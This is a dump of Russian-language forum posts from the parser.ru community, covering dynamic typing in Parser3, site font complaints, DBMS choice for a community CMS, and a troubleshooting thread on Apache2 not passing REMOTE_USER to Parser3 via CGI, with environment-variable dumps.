"20623","Я заранее не знаю какие классы будет использоватья, точнее имена классов, хотя знаю, что все они имеют жесткий набор методов, с определенными параметрами. Если я не ошибаюсь, то это пример в этом случае не будет работать, ведь я не знаю имен классов, т.е. не смогу сформировать хеш. Но все же большое спасибо!"
"20624","В парсере, одна и та же переменная, в одной и той же области видимости, может произвольно менять свой базовый тип. Например:\
[code]\
$var[^hash::create[...]]\
...\
\
$var[^table::create{...}]\
[/code]\
сначала $var это хэш, затем таблица. В принципе у этого свойства есть и плюсы и минусы. Один из плюсов - иногда можно не плодить лишние переменные.\
\
Теперь о минусах - если применять такую технику (смена типа в одной области видимости) то в большом коде можно очень легко запутаться, и к тому же часто это может приводить к нетривиальным ошибкам. Как мне кажется, эта особенность (динамическое связывание типов) достаточно вредна, например в C++ такое запрещено.\
\
Хотелось бы услышать ваши мнения по поводу плюсов и минусов данной вещи."
"20625","Почитав сообщения, стало ясно: некоторые юзеры считали шрифт, установленный в браузере, \"настоящим\" шрифтом сайта parser.ru.\
\
Но вот сейчас, когда шрифт на сайте указали явно все это всплыло.\
\
Выход один: настраивать свои браузеры. Я настроил оперу и сейчас смотрю в том старом виде, который мне был по душе.\
\
И вам того желаю. Если кто-нибудь попросит - расскажу как настроить 7-ку оперу, хотя и рассказывать-то, в принципе, нечего."
"20626","стало быть, ^use вы сделать можете, а добавить необходимое в hash нет."
"20627","... от стиля программирования. Привыкли использовать в одном методе разные типы у одной и той же переменной - больше проблем при отладке, не привыкли - меньше. :) В большинстве случаев вполне можно обойтись без использования этой возможности, но иногда она бывает крайне-полезна.\
\
В классических языках [и C++ не исключение] давно уже есть поддержка типа Variant, который жизнено-необходим при написании, например, серверов и клиентов COM."
"20628","Но даже если и есть, там ты это дело явно контролируешь и по-умолчанию это запрещено. В парсере по-умолчанию это разрешено, и лучше бы это было наоборот ибо стиль стилем, но и на старуху бывает проруха."
"20630","... что все типы данных в парсере это классы, являющиеся наследниками класса AbstractType, тогда все встанет на свои места."
"20631","Тем более я бы не стал называть парсер чисто скриптовым языком, - это гибридный язык, я так думаю.\
\
Скриптовый язык, в моём понимании, это язык для написания сценариев (типа юникс шела), в них нету например поддержки ООП, в парсере есть и т.д."
"20632","... также как Perl, Phyton, Ruby и пр, и в них динамическая типизация норма. Кроме того в этих языках отсутствует возможность работы с указателями, но разве это мешает писать на них программы?"
"20633","т.е. это мощное оружие, правда которым, можно самого себя застрелить :)."
"20635","но вот строгая типизация была бы очень в кассу, мне во всяком случае."
"20636","вводим в строке поиска \"Москвaшвея\", фильтровать по автору \"Sergey M.\", получаем [b]пять страниц ссылок[/b], но по теме, естественно, ничего нет. Если ввести в строке поиска фразу (\"Москвaшвея, eщё парoчку\") то всё нормально, ни одного сообщения не найдено. Вот такое вот безобразие."
"20637","я использую это и мне это нравится (не важно что я передаю методу: объект, хеш или таблицу с задаными полями, все продолжает работать... писать заглушки - одно удовольствие.)\
\
с другой стороны пока я не использовал подобных финтов, особо не мучался...\
\
и не скажу, что мне это мешало и создавало труднонаходимые ошибки (хотя я обычно не использую имен переменных типа $var, а если испоьзую короткие имена, то исключительно как итераторы или временные переменные)"
"20638","И по первому и по второму запросу. Понятно, какое ;-)"
"20639","но всё же. Вот http://www.parser.ru/forum/?id=10648 мнение Константина Моршнева о приближении парсера к более \"строгим\" языкам в области ООП после выхода 3.0006. Почему бы такое не сделать в отношении типизации?"
"20640","а вы ручками набрать попробуйте, ато я специально туда пару англицких символов интегрировал. Или любое другое заведомо несуществующее в сообщениях слово + искать по автору..."
"20642","Цитата:\
[quote]\
Тут небольшая путаница в терминах. В Ruby (как и в Perl, например) как раз - строгая типизация. Просто она динамическая, а не статическая. То есть типы фиксируются не на этапе компиляции, а в run-time. Более того, для Ruby разделения на compile-time и run-time нет вообще.\
\
По контрасту, C++ - это язык со статической, но слабой типизацией. В нем можно насильно привести один тип к другому и вызвать этим core dump системы. В языке со строгой типизацией это невозможно.\
\
Является ли преимуществом динамическая типизация по сравнению со статической? С точки зрения производительности кода - нет, поскольку труднее оптимизировать код. С остальных точек зрения - как правило, да.\
[/quote]\
Что скажете господа хорошие?\
\
http://prefnews.ru/?page=one_news&news_id=89"
"20643","Но учиться никогда не поздно. Буду пытаться - научусь, а кьо не пытается и сидит сложа руки, то ничему не научится. А cms - это повод, цель, стимул."
"20645","...то лучше не воспринимать. Конечно это пример, как, в принципе, вся структура. Проектировщик может менять местами и обзывать это, как захочет. Нужно лишь исправить строку в theme.p"
"20646","Я никогда не использую подобные имена переменных (я надеюсь :)). Даже наоборот, не давеча как вчера, решил затеять глобальную переделку и для переменных в систему именования префиксом включать тип, - очень помогает читать код.\
\
При пересмотре кода выяснилось что в паре мест где нельзя однозначно указать тип переменной. Одно из этих мест в частности, это код построения деревьев, метод @getMessagesByThread[thread] где thread может быть и целым и таблицей. Такое может приводить к непредсказуемым результатам. Обычно такого нет, но вот пару раз было (возможно даже не в примере с этим кодом).\
\
Вообщем сии действия и побудили меня задать этот вопрос на форуме."
"20648","сейчас немного подрихтуем стили (не пинайте пока, кое что может некоторое время колбасить), а потом устрою голосование: оставить как щас или вернуть как было.\
\
основное изменение: уменьшаем шрифт контента, чтобы не походить на детские книжки.\
\
в настройках пользователя этого точно не будет, т.к. незачем. у пользователя есть настройки броузера. с их помощью он может еще и не такое творить..."
"20649","ну дык одна из целей вообще не трогать базовый код, а информацию о таких вещах брать скажем из БД или XML"
"20650","Никто тебе на запретит в Ruby написать:\
[code]var = \"Hello!\"\
puts var\
var = 100\
puts var[/code]\
\
Это ошибку не вызовет, а вот если попытаться написать:\
[code]var = \"Hello!\"\
var = var + 100\
[/code]\
то сразу получишь ошибку, что логично.\
\
В случае Парсера просто произойдет автоматическое преобразование числа 100 к строке, что в контексте наших задач тоже нормально - просто надо эту особенность учитывать."
"20651","Похожий вопрос уже поднимался в\
http://www.parser.ru/forum/?id=20506\
\
Но с 2мя параметрами не получается (вот кусок XSL):\
<A HREF=\"./product.html?current_folder={folder_id}&current_item={item_id}\">\
\
Выдает ошибку:\
/usr/local/www/office/_xsl/modul/product.xsl:55: error: xmlParseEntityRef: expecting ';'\
  ./product.html?current_folder=<xsl:value-of select=\"folder_id\" />&current_ite\
\
\"^&\" пробовал писать, все-равно...\
Подскажите, что неправильно, плз."
"20653","может быть имеет смысл разработать какой-нибудь эээ... стандарт оформления Парсерного кода (хотя-бы какие-то минимальные правила)?\
\
В свете последних событий(начало совместных разработок, etc.) я думаю это было бы достаточно актуально.\
\
немного ссылок по теме:\
[url=\"http://www.parser.ru/forum/?id=7835\"]Дерево классов и самодокументирование[/url] [i]Александр Петросян (PAF)[/i]\
[url=\"http://www.dklab.ru/chicken/nablas/15.html\"]Имена переменных и комментарии,  или ломка стереотипов[/url] [i]Дмитрий Котеров[/i]"
"20656","Очень хочется поиметь шрифтов в gif для поюзания в парсере, т.е. в столбик.\
\
Помажите кто сколько может!!!"
"20657","У таких есть asp + .NET + куча всяких крутейших штук, а Parser и CMS на нем ориентированы на системы с MySQL или (думаю, очень редко) PgSQL"
"20658","Есть cgi версия парсера 3.0.0005 и Apache2. Проблема в том, что в парсер не передаются переменные окружения. $env пустой.\
\
Может в httpd.conf чего-то не хватает.\
Сейчас\
  AddHandler parsed-html .htm\
  Action parsed-html /cgi/parser3.exe"
"20660","Во-первых, зачем тратить силы на переписывание кода для разных СУБД, если можно сосредоточить все силы на одной версии?\
\
Во-вторых, удобных фич немало. Например, в MySQL есть контроль ссылочной целостности только в таблицах InnoDB, а в широко используемом типе MyISAM нет. А это очень удобная вещь. Она экономит много сил разработчикам. В MySQL до версии 4.0 не было даже UNION!!! Вместо одного запроса к БД приходилось делать пять! Создать временную таблицу, затем в нее два селекта, затем селект из нее, затем убить временную таблицу. Может способ и очень кривой, но иначе не получилось. На большинстве хостингов стоит MySQL ниже 4.0 потому что она еще девелоперская. В стабильной MySQL нет подзапросов. В ней нет хранимых процедур. Это тоже удобно, когда весь SQL  для взаимодействия с БД лежит в самой БД, а в коде на Parser есть только вызовы этих процедур. В MySQL нет триггеров, но это не столь актуально.\
\
Выбирать одну СУБД можно и нужно. И писать нужно не универсальную систему, а именно ориентированную на одну СУБД. Потому что в первую очередь эту CMS будут использовать сами ее разработчики, а им я думаю, не улыбается перспектива писать две версии кода.\
\
СУБД как перчатки не меняют, к тому же PgSQL умеет все что нужно и бесплатен, а Oracle стоит кучу денег. Эти системы предназначены для разных категорий пользователей и пользователи Oracle вряд ли будут юзать Parser."
"20661","IMHO - писать CMS не лучший способ учить Parser (тоже без обид)"
"20663","...ещё не означает, что это его большой плюс для данной задачи...\
\
для одной задачи важно умение ворочать [b]огроменными[/b] базами, а для другой - базами с несколькими сотнями тысяч записей, но зато делать это очень быстро (кстати, именно это обычно веб).\
\
часть из тех, кто собрался писать CMS не знают как и для чего пользоваться поддержкой целостности, хранимыми процедурами и другими фичами которые дает SQL сервер (только без обид). \
\
\
UNION не очень часто требовался мне на вебе.\
\
транзакции нужны мне были-бы только в интерфейсе администрирования...\
\
хранимые процедуры - очень мощная штука, но... мне они так же требовались на вебе очень редко (но в некоторых случаях мне их очень хотелось-бы видеть)...\
\
мне кажется, что стоит ориентироваться на бесплатные сервера баз данных, и не пытаться писать под один сервер, а писать все-таки переносимый sql код, в случае-же невозможности этого выносить в отдельные методы/классы.\
\
после того, как я писал одновременно для трех SQL серверов переносимый код, я например представляю как это делать, и сейчас мне это делать несложно... \
\
что-то подсказывает мне, что если авторам CMS потребуются для их реализации union + транзакции + хранимые процедуры + подзапросы, то что-то у них не так пошло ещё на этапе проектирования системы...\
\
и еще... немного моей статистики... engine (часть imp1) не использует ни union, ни хранимые процедуры, ни подзапросы... и при этом для построения типовой страницы требует всего 2-3 простых join по 2 таблицам + 3-6 простых select... ну к чему тут подзапросы/union-ы и т.д?"
"20664","Никто, ничего, не считал.\
\
По моему настраивать свой браузер не самый лучший выход (тут многие со мной не согласяться, но тем не менее это моё мнение).\
Я никогда не указываю ни шрифтов, ни размеров, ни чего прочего.\
[b]Я полагаюсь на разработчика[/b], хотя разработчик не всегда прав."
"20665","Парсер, а точнее форум Парсера -- моё любимое место в сети!\
Я хотел бы чтоб форум процветал и становился лучше, форум и Парсер мне не безразличны.\
\
В опросе пока никак не могу определиться с вариантом. Надо думать. Ещё раз отмечу, что оформление меню, дерева трэдов, навигации хорошее тут не надо ничего менять. А вот с контентом и текстом сообщений что-то надо делать.\
\
Я, наверное, буду согласен и на рубленый шрифт, если только так будет хорошо читать.\
[b]Мне главное, чтоб читалось хорошо[/b]. Я на сайте провожу, в принципе, не мало времени, и свои глаза люблю :-) \
\
P.S. маленькая просьба: не делайте шрифт слишком маленьким, для глаз это ещё хуже, чем крупный."
"20666","[quote]...СУБД как перчатки не меняют, к тому же PgSQL умеет все что нужно и бесплатен, а Oracle стоит кучу денег. Эти системы предназначены для разных категорий пользователей и пользователи Oracle вряд ли будут юзать Parser...[/quote]\
\
Я не хотел никого обижать. Я просто привёл пример, может немножко грубоватый, но пример (я даже специально выделил слово например жирным шрифтом!). И Oracle и PgSQL я взял просто так, так как я мог взять MSSQL и MySQL.\
\
[quote]...Выбирать одну СУБД можно и нужно. И писать нужно не универсальную систему, а именно ориентированную на одну СУБД. Потому что в первую очередь эту CMS будут использовать сами ее разработчики, а им я думаю, не улыбается перспектива писать две версии кода...[/quote]\
\
Разработчики Парсер (опять же) писали Парсер сначала только для самих себя (поправьте если ошибаюсь), но Парсер поддерживает несколько СУБД. И опять же, выбирать только одну СУБД нельзя, нужно думать как сделать лучше.\
\
И почему система не должна быть универсальной? Проэкт ведь открытый. Если б разработчики делали CMS только для себя, то они б наверное собрались где-то в сети вместе, и делали себе тихонько CMS, никого не спрашивая."
"20667","Согласен, что без большей части того, что я написал можно обойтись, и использование переносимого SQL естественно имеет свои плюсы.\
\
Транзакции действительно нужны только в администрировании. Юнион тоже нужен редко. Мне лично понадобился для получения списка разделов с числом хранящихся в них объектов. В случае с форумом и каталогом ссылок. Но я не согласен с тем, что если авторам нужны хранимые процедуры и подзапросы, то система была спроектирована неверно. Да, для создания одной страницы нужно всего 1-2 join по паре таблиц и столько же селектов, которые можно написать на первый второй день знакомства с SQL. Но ссылочную целостность и процедуры прошу не трогать ;-). \
\
Использование процедур позволяет разделить разные виды кода, использовать более высокий уровень абстракции, что ли, представить сложное действие простым, переложить работу с плеч скрипта на плечи СУБД. Думаю, это вы и так знаете лучше меня. А уж что касается ссылочной целостности, то вот элементарный пример где она была бы полезна.\
\
У меня есть три таблицы: forums, threads, posts. И три класса, управляющие соответственно форумами, темами и сообщениями. Код классов лежит в трех файлах. В MySQL чтобы удалить раздел форума вместе с его темами и сообщениями я использовал два своих класса (три или четыре запроса). Была бы поддержка целостности, хватило бы использования одного класса и одного запроса.\
\
Писать, естественно, нам надо для бесплатных серверов, но я настаиваю на использовании только одной СУБД: либо MySQL, что намного вероятнее, либо PgSQL, что хотелось бы.\
\
Что касается незнания возможностей СУБД и толком возможностей Parsera (опять таки без обид, хотя я сам не претендую на отличное знание ни того ни другого), то это конечно не есть хорошо, но что поделаешь... если долго мучиться, что-нибудь получится. Да и Parser не C++."
"20668","Признайтесь, вы хоть раз-другой пользовались хранимыми процедурами, триггерами, ограничениями и т.д.?"
"20669","Я не имел ввиду, что универсальная система это плохо, я имел ввиду, что это долго и сложно, и игра не стоит свеч. То что проект открытый не означает, что CMS должна работать с чем и где угодно вплоть до BeOS, QNX, Windows 3.1, броузером Lynx и с целым зоопарком СУБД. Это означает, что каждый может в нем участвовать. А поскольку разработчики станут первыми пользователями CMS, то и думать им надо прежде всего о себе.\
\
Поддержка нескольких субд нужна была разработчикам парсера потому что они работают с совершенно разными клиентами, которые используют разные платформы. Я думаю, они бы с радостью предпочли использовать только одну СУБД вместо поддержки нескольких версий кода или обеспечения совместимости.\
\
Максимум что можно сделать ради универсальности - это как уже предлагали вынести специфичный код в отдельные методы или класссы, но только не писать несколько версий CMS."
"20670","Если [i]CMS[/i] в силу своей [i]архитектуры[/i] не работает с каким-либо браузером, то это плохая CMS.\
[quote]Максимум что можно сделать ради универсальности - это как уже предлагали вынести специфичный код в отдельные методы или класссы, но только не писать несколько версий CMS.[/quote]\
Ну разумеется. Этого вполне достаточно. Большего, по-моему, никто и не предлагал."
"20671","Похоже багу отловил в parser 3.1 for FreeBSD\
\
taint неработает в этом коде\
\
@repl[bodyin]\
^dbconnect{$repl[^table::sql{select original, exchange from exchange}]\
$bodytmp[^taint[as-is][$bodyin]]\
^bodytmp.replace[$repl]}\
\
что удивительно в windows версии parser всё работает отлично\
в версии для FreeBSD не работает и ошибку не выдаёт, просто выдаёт грязный текст(html код)"
"20672","Помогите пожалуйста разобраться\
Сие - набросок каталога ссылок\
Где-то затупил...\
\
[code]\
###\
@CLASS\
xlinks\
###\
[/code]\
\
[code]\
@load[]\
^MAIN:dbconnect{\
	$external_links[^table::sql{\
		SELECT\
			id,\
			url,\
			title,\
			comment,\
			date\
		FROM\
			xlinks\
		ORDER BY\
			id\
		ASC\
		}\
	]\
}\
\
[/code]\
\
[code]\
@ add_link[]\
##	&#207;&#240;&#238;&#226;&#229;&#240;&#255;&#229;&#236; &#229;&#241;&#242;&#252; &#235;&#232; &#242;&#224;&#234;&#238;&#233; &#211;&#208;&#203; &#226; &#225;&#224;&#231;&#229;?\
# 1 - &#229;&#241;&#242;&#252;\
# 0 - &#237;&#229;&#242;\
	^if($external_links){\
		^external_links.menu{	\
			^if(\"$external_links.url\" eq \"$form:url\"){\
			$est[1]\
			}{\
			$est[0]\
			}\
		}\
	}\
##\
\
^if(def $form:post){\
	^if(\"$form:url\" ne \"http://\" && \"$form:title\" ne \"\"){	\
\
	\
^if($est == 0){\
		^MAIN:dbconnect{\
			^void:sql{\
			INSERT INTO xlinks (\
				url,\
				title,\
				comment,\
				date\
				)\
			VALUES (\
				'$form:url',\
				'$form:title',\
				'$form:comment',				\
				'${date.year}-${date.month}-${date.day}'\
			)}\
		}\
		$response:refresh[\
		$.value[0]\
		$.url[/xlinks/]\
		]\
	\
}{\
	&#209;&#241;&#251;&#235;&#234;&#224; &#243;&#230;&#229; &#229;&#241;&#242;&#252;\
}\
\
	}{\
		&#207;&#238;&#235;&#255; <b>url</b> &#232; <b>title</b> &#237;&#229; &#231;&#224;&#239;&#238;&#235;&#237;&#229;&#237;&#251;\
	}\
}\
[/code]\
\
[code]\
\
#####\
add.html\
#####\
\
$xl[^xlinks::load[]]\
^xl.show_form[]\
^xl.add_link[]\
\
[/code]\
\
\
При добавлении существующей ссылки Р3:\
- то додобавлеет ее (дублирую ряды в базе)\
- то говорит что ссылка уже есть\
\
причем совершенно не понятно в зависимости от чего..."
"20673","[quote]...Я не имел ввиду, что универсальная система это плохо, я имел ввиду, что это долго и сложно, и игра не стоит свеч...[/quote]\
\
[quote]...А поскольку разработчики станут первыми пользователями CMS, то и думать им надо прежде всего о себе...[/quote]\
\
Я об этом и не говорил. А разве не было бы разработчикам, да и всем пользователям приятно написать и использовать такую CMS которая могла бы по праву называться хорошей, универсальной CMS. Ведь зачем останавливаться на пол пути и выпускать полуфабрикат, нужно идти дальше и прийти к разработке такой CMS от которой бы дух захватывало при работе, с которой было бы приятно работать. Почему игра не стоит свечь?\
\
[quote]...То что проект открытый не означает, что CMS должна работать с чем и где угодно вплоть до BeOS, QNX, Windows 3.1, броузером Lynx и с целым зоопарком СУБД. Это означает, что каждый может в нем участвовать...[/quote]\
\
Тут и так всё понятно. Идём дальше.\
\
[quote]...Поддержка нескольких субд нужна была разработчикам парсера потому что они работают с совершенно разными клиентами, которые используют разные платформы.\
Я думаю, они бы с радостью предпочли использовать только одну СУБД вместо поддержки нескольких версий кода или обеспечения совместимости...[/quote]\
\
Вот тут не знаю, я за разработчиков отвечать не стану :-)\
\
[quote]...Максимум что можно сделать ради универсальности - это как уже предлагали вынести специфичный код в отдельные методы или класссы, но только не писать несколько версий CMS...[/quote]\
\
Ну в принципе это и просили. Чтоб всё настраивалось под любые СУБД и браузеры.\
\
Да, писать несколько версий не самый лучший выход, даже если написать одну, а потом внести изменения."
"20676","> Транзакции действительно нужны только в администрировании\
\
А веб-магазины или ещё какие системы онлайновых заказов?\
\
Понятно, что блогам да типичным домстраницам, вообще нафиг ничего не нужно. Да им вообще и не нужна эта CMS ибо есть они уже для таких задач и неплохие."
"20677","Там они работают но не все, например REMOTE_USER не пашет а SERVER работает."
"20678","Ну а как же питерский МТС у которой сайт на Solaris SPARC работает? и там уж явно не мускул в качестве БД.\
\
А как же ММВБ?\
\
Угадайте работает ли там парсер или нет?"
"20679","... что в приведенных тобой случаях систему управления сайтом просто интегрировали в корпоративную сеть, кторая в случаях с МТС и ММВБ понятное дело работает с промышленными базами. И это не показатель..."
"20680","Как раз REMOTE_USER и нужен. Неужели в морг? Апач переставить нет возможности. \
Может какую обертку на перле сделать для вызова?"
"20681","запутите обычный env.pl, посмотрите на общий список переменных.\
\
допускаю REDIRECT_REMOTE_USER"
"20682","Для того чтобы что-то интегрировать, нужно это иметь. И это как раз таки показатель, универсальности в данном случае.\
\
Большинство из тех, кто собрался писать CMS, с трудом могут написать нечто посложнее hello world и по-моему на эту идею стоит забить, во-всяком случае я отношусь к ней с большим скепсисом, после того как почитал будущих разрабочиков."
"20683","... получить хотя бы некое подобие библиотеки общеупотребительных классов на Парсере [вещь очень нужная]. Если из этого получится некоторые модули для публикации атериалов на сайте, то будет совсем хорошо. :)"
"20684","я проверил printenv.pl показывает что она есть и именно так называется."
"20685","В том-то и дело, что в скрипт на перле передается REMOTE_USER, а в парсер нет. Даже в лог имя пользователя не попадает, например:\
192.168.10.100 - - [09/Sep/2003:10:25:13 +0400] \"GET / HTTP/1.1\" 200 6\
192.168.10.100 - admin [09/Sep/2003:10:29:33 +0400] \"GET /printenv.pl HTTP/1.1\" 200 1640\
\
Мое первоначальное сообщение, что никакие переменные окружения не передаются, было следствием того, что я по невнимательности решил, что $env - это хеш. Я пытался перебрать его через foreach, получил ошибку и решил, что env неопределен. \
Потом проверил некоторые другие переменные окружения передаются, кроме REMOTE_USER.\
\
А можно ли средствами парсера перебрать все переменные окружения? Что то я не нашел в документации."
"20686","А что касается Solaris SPARC, то СУБД на нем явно Oracle, а для оракла есть примочки, которые позволяют непосредственно в БД хранить абсолютно весь код, необходимый для создания сайта, в хранимых процедурах и пакетах. Это работает быстро и не нужно никаких дополнительных средств. И очень удобно.\
\
Приведите лучше пример сайта, сделанного не Студией, где юзаются MSSQL или Oracle и Parser."
"20689","...и фотошоп (paint..) тебе в руки..."
"20690","Что касается примера сайта - я не верховный рулевой инета и не могу знать обо всех внутренностях всех сайтов, может где-то и есть такие.\
\
В интранет, я активно использую MS SQL а сами понимаете что различий у интернета и интранета в этом смысле нет. Будет у нас свой нормальный канал, сделаем все на MS SQL :)"
"20691","в зависимости от ключей/индексов конечно...\
дайте дамп таблицы (только CREATE, без данных :)) - ответ будет конкретней...\
а зачем их дублировать вообще ?:( и если не надо, а также это MySQL, то пользуйте REPLACE..."
"20692","и вы, Александр, и вы, Дмитрий, тестируете совершенно неправильно.\
вы, Дмитрий, хотя бы правильный журнал предоставили :)\
\
тестировать надо так: назвать ваш printenv.pl именем parser3.cgi, и нажать reload на вашей странице, а вовсе не пытаться напрямую ходить.\
\
запросто может быть, что в apache2 поменялось это довольно тонкое место. ведь запрашивая /test.html вы\
1. проходите авторизацию\
2. и… происходит internal redirect на /cgi-bin/parser3.cgi/test.html\
\
apache1 при этом всё равно передаёт REMOTE_USER.\
что делает apache2 сейчас вы расскажете :)"
"20693","Приведенный способ теста, работал только в 1-м апаче, во 2-м - 500:\
\
[Tue Sep 09 11:08:35 2003] [error] [client 192.168.1.130] (OS 5)Access is denied.  : couldn't create child process: 720005: parser3.exe\
[Tue Sep 09 11:08:35 2003] [error] [client 192.168.1.130] (OS 5)Access is denied.  : couldn't spawn child process: E:/Apache/cgi-bin/p3/parser3.exe\
\
при том что и 1-й и 2-й апачи настроены на один cgi-bin и htdocs и конфиги у них абсалютно идентичные в смысле настроек.\
\
А проблему во 2-м апаче я решил просто - В httpd.conf для cgi-bin обычно у меня стоит:\
[code]\
AllowOverride None\
Options ExecCGI\
[/code]\
Я сделал  AllowOverride AuthConfig и REMOTE_USER стала доступна и в парсере."
"20694","вы .pl назвали .exe = конечно получите 500'ую.\
если хотите тест, работающий и на виндах поставьте printenv.pl обработчиком html страниц вместо parser'а.\
\
шаманство с allowoverride временно ignored."
"20696","в смысле это потом перестанет работать? или вам лень с этим разбираться?"
"20697","или, если всё ещё непонятно, возьмите a.txt с текстом \"привет\", назовите его .exe и нажмите на нём Enter. что будет?"
"20698","igored в смысле сейчас, в контексте разговора. Александр, я понимаю, вы очень занятой человек, однако вы бы не могли попонятней объясняться? (или это я тормоз)\
\
Не суть. Я попробовал назначить printenv.pl обработчиком страниц во 2-м парсере, результаты такие:\
\
С Allowoverride none:\
\
COMSPEC=\"C:\\WINNT\\system32\\cmd.exe\"\
DOCUMENT_ROOT=\"E:/Apache/users/extra\"\
GATEWAY_INTERFACE=\"CGI/1.1\"\
HTTP_ACCEPT=\"text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\"\
HTTP_ACCEPT_CHARSET=\"ISO-8859-1,utf-8;q=0.7,*;q=0.7\"\
HTTP_ACCEPT_ENCODING=\"gzip,deflate\"\
HTTP_ACCEPT_LANGUAGE=\"ru,en;q=0.5\"\
HTTP_CACHE_CONTROL=\"max-age=0, max-age=0\"\
HTTP_CONNECTION=\"keep-alive\"\
HTTP_COOKIE=\"theme=1; auth.uid=192.168.1.130%3DxyarYa8%24BjREyoAG5a7ATjir3RaXj0; auth.uid.updated=2003-09-04%2011%3A56%3A19; auth.sid=192.168.1.130%3DcfEF/du%24fFyna2DAhEIsMGpDi6ojQ0\"\
HTTP_HOST=\"extra.slantsy.net:8080\"\
HTTP_KEEP_ALIVE=\"300\"\
HTTP_USER_AGENT=\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\"\
PATH=\"D:\\Perl\\bin\\;C:\\WINNT\\system32;C:\\WINNT;;D:\\MSSQL\\BINN;D:\\NTRESKIT;C:\\PROGRA~1\\cvsnt\"\
PATH_INFO=\"/control/index.html\"\
PATH_TRANSLATED=\"E:\\Apache\\users\\extra\\control\\index.html\"\
QUERY_STRING=\"\"\
REDIRECT_CGI_PARSER_CONFIG=\"e:/apache/cgi-bin/p3/extra/auto.p\"\
REDIRECT_STATUS=\"200\"\
REDIRECT_URL=\"/control/index.html\"\
REMOTE_ADDR=\"192.168.1.130\"\
REMOTE_PORT=\"1058\"\
REQUEST_METHOD=\"GET\"\
REQUEST_URI=\"/control/\"\
SCRIPT_FILENAME=\"E:/Apache/cgi-bin/p3/printenv.pl\"\
SCRIPT_NAME=\"/cgi-bin/p3/printenv.pl\"\
SERVER_ADDR=\"192.168.1.71\"\
SERVER_ADMIN=\"egr@slantsy.ru\"\
SERVER_NAME=\"extra.slantsy.net\"\
SERVER_PORT=\"80\"\
SERVER_PROTOCOL=\"HTTP/1.1\"\
SERVER_SIGNATURE=\"<address>Apache/2.0.47 (Win32) Server at extra.slantsy.net Port 80</address>\\n\"\
SERVER_SOFTWARE=\"Apache/2.0.47 (Win32)\"\
SYSTEMROOT=\"C:\\WINNT\"\
WINDIR=\"C:\\WINNT\"\
\
т.е. переменной REMOTE_USER или аналогичной ей нет.\
\
С  AllowOverride AuthConfig:\
\
AUTH_TYPE=\"Basic\"\
COMSPEC=\"C:\\WINNT\\system32\\cmd.exe\"\
DOCUMENT_ROOT=\"E:/Apache/users/extra\"\
GATEWAY_INTERFACE=\"CGI/1.1\"\
HTTP_ACCEPT=\"text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\"\
HTTP_ACCEPT_CHARSET=\"ISO-8859-1,utf-8;q=0.7,*;q=0.7\"\
HTTP_ACCEPT_ENCODING=\"gzip,deflate\"\
HTTP_ACCEPT_LANGUAGE=\"ru,en;q=0.5\"\
HTTP_CACHE_CONTROL=\"max-age=0, max-age=0\"\
HTTP_CONNECTION=\"keep-alive\"\
HTTP_COOKIE=\"theme=1; auth.uid=192.168.1.130%3DxyarYa8%24BjREyoAG5a7ATjir3RaXj0; auth.uid.updated=2003-09-04%2011%3A56%3A19; auth.sid=192.168.1.130%3DcfEF/du%24fFyna2DAhEIsMGpDi6ojQ0\"\
HTTP_HOST=\"extra.slantsy.net:8080\"\
HTTP_KEEP_ALIVE=\"300\"\
HTTP_USER_AGENT=\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\"\
PATH=\"D:\\Perl\\bin\\;C:\\WINNT\\system32;C:\\WINNT;;D:\\MSSQL\\BINN;D:\\NTRESKIT;C:\\PROGRA~1\\cvsnt\"\
PATH_INFO=\"/control/index.html\"\
PATH_TRANSLATED=\"E:\\Apache\\users\\extra\\control\\index.html\"\
QUERY_STRING=\"\"\
REDIRECT_CGI_PARSER_CONFIG=\"e:/apache/cgi-bin/p3/extra/auto.p\"\
REDIRECT_STATUS=\"200\"\
REDIRECT_URL=\"/control/index.html\"\
REMOTE_ADDR=\"192.168.1.130\"\
REMOTE_PORT=\"1064\"\
REMOTE_USER=\"egr\"\
REQUEST_METHOD=\"GET\"\
REQUEST_URI=\"/control/\"\
SCRIPT_FILENAME=\"E:/Apache/cgi-bin/p3/printenv.pl\"\
SCRIPT_NAME=\"/cgi-bin/p3/printenv.pl\"\
SERVER_ADDR=\"192.168.1.71\"\
SERVER_ADMIN=\"egr@slantsy.ru\"\
SERVER_NAME=\"extra.slantsy.net\"\
SERVER_PORT=\"80\"\
SERVER_PROTOCOL=\"HTTP/1.1\"\
SERVER_SIGNATURE=\"<address>Apache/2.0.47 (Win32) Server at extra.slantsy.net Port 80</address>\\n\"\
SERVER_SOFTWARE=\"Apache/2.0.47 (Win32)\"\
SYSTEMROOT=\"C:\\WINNT\"\
WINDIR=\"C:\\WINNT\"\
\
Все нормально, нужная переменная имеется"
"20699","У меня AllowOverride all\
REMOTE_USER все равно нет."
"20700","Надо именно для ScriptAlias /cgi-bin/ \"...\"\
\
Странно у меня всё работает, как только ставлю None переменная исчезает. Может у меня апач неправильный :)"
"20701","http://www.w3.org/\
http://pyramidin.narod.ru/\
http://gnezdo.webscript.ru/links/g_xml_vrml/xml/\
..."
"20702","Мне кажется, что его лучше поставить на вывод - ^taint[as-is][^bodytmp.replace[$repl]].\
Замена пройдет вне зависимости от окраски."
"20703","Работает только тогда, когда в .htaccess лежащем в cgi-bin есть настройки доступа к этому каталогу\
[code]\
AuthName \"Input password\"\
AuthType Basic\
AuthUserFile \"/.../.htpasswd\"\
<Files *>\
require valid-user\
</Files>\
[/code]\
Когда это убираешь, - фигушки, перестаёт работать, т.е. нужная переменная отсутствует.\
\
А если это ставить, то доступ ко всему сайту могут иметь только зарегистрированные пользователи."
"20704","http://www.parser.ru/forum/?id=18357\
первую не читал, вторая позволяет в общих чертах получить представление об XML и некоторых других XML-ориентированных технологиях. Написана в стиле \"для американских чайников\", даже читая с дурной головой материал по большей части усваивается, ибо ключевые моменты повторяются в тексте главы несколько(десятков) раз, и в конце каждой главы \"закрепляются\" в резюме.\
\
http://www.parser.ru/forum/?id=7970\
опять-же первую не читал, второй достаточно чтобы получить довольно нехилое представление о XSLT, XPath и ещё кое-что по-мелочи. Сильная книга, рекомендую."
